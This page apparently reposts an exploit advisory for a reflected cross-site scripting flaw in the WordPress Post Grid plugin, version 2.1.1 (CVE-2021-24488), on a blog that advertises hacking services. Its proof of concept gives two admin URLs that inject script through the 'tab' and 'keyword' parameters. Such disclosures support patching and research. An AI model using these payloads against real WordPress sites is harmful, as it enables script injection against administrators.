Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863535733

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488

1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//